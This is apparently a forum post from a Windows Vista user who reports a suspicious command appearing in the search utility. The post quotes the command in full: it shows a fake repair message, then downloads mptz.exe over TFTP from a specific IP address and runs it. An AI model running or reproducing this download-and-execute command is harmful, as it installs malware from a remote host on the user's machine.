new virus ???

Good morning, Today I was working at my computer when unexpectedly the friendly Windows Vista Search System ( Search Utility) popped out...looking for...?????????????? " %comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 76.203.188.177 GET mptz.exe & start mptz& " well...I admit I love Vista....it's so secure !!!!!!!!!!!!! What the hell is happening ??????? …